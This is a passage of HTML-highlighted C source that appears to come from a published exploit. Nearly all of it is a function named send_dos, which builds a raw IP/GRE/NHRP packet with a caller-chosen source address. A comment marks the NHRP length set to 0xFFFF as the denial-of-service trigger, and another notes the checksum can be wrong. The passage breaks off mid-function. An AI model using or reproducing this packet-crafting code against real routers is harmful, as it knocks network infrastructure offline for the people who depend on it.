&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(sin&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;sin_addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send NHRP packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; src_ip, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; dst_ip,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; gre_key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip ip_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;iphdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h gre_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h nhrp_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; GRE_HDR_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Packet buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key&lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt;GRE_KEY_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Allocate some memory */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;malloc&lt;/span&gt;(IP_HDR_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;NHRP_HDR_SIZE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: send_dos: malloc failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Increment NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_req_id&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPv4 Header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_v             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_hl            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP header length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_tos           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x00&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* IP ToS */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_len           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(IP_HDR_SIZE  &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NHRP_HDR_SIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_id            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP identification */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_off           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP frag offset */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_ttl           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;;                   &lt;span style=&#34;color:#75715e&#34;&gt;/* IP time to live */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_p             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; IPPROTO_GRE;          &lt;span style=&#34;color:#75715e&#34;&gt;/* IP protocol */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_sum           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_src.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP source */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_dst.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dst_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP destination */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.key     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(gre_key);       &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.ptype           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE type (NHRP) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.afn      &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.proto    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0800&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snap     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snapE    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.hops     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* DoS -&amp;gt; Set length to 0xFFFF */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.length   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Checksum can be incorrect */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.checksum &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.mpoa_ext &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0034&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP MPOA ext */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.version  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.type     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_addr&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP NBMA t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mandatory part */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.src_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP src proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.dst_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP dst proto len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.flags     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.request_id  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(nhrp_req_id); &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;             &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client addr */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_nbma_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client sub  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.mand.client_pro_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;              &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client proto */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP client information entries (CIE) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.code       &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP code */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.pref_len   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP prefix len */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.reserved   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x0000&lt;/span&gt;;               &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP reserved */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.mtu        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1514&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP mtu */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.holding_time &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;30&lt;/span&gt;);          &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP holding time */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l client */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_sub &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l sub */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.len_client_pro &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP t/l pro */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.preference &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP preference */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.cie.ext        &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x8003&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP C/U/Type (ext)*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the IPv4 header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ip_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ip_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the GRE header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;gre_hdr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(gre_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Copy the NHRP header to the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;nhrp_hdr,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(nhrp_hdr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Fix some BSD bugs */&lt;/span&gt;
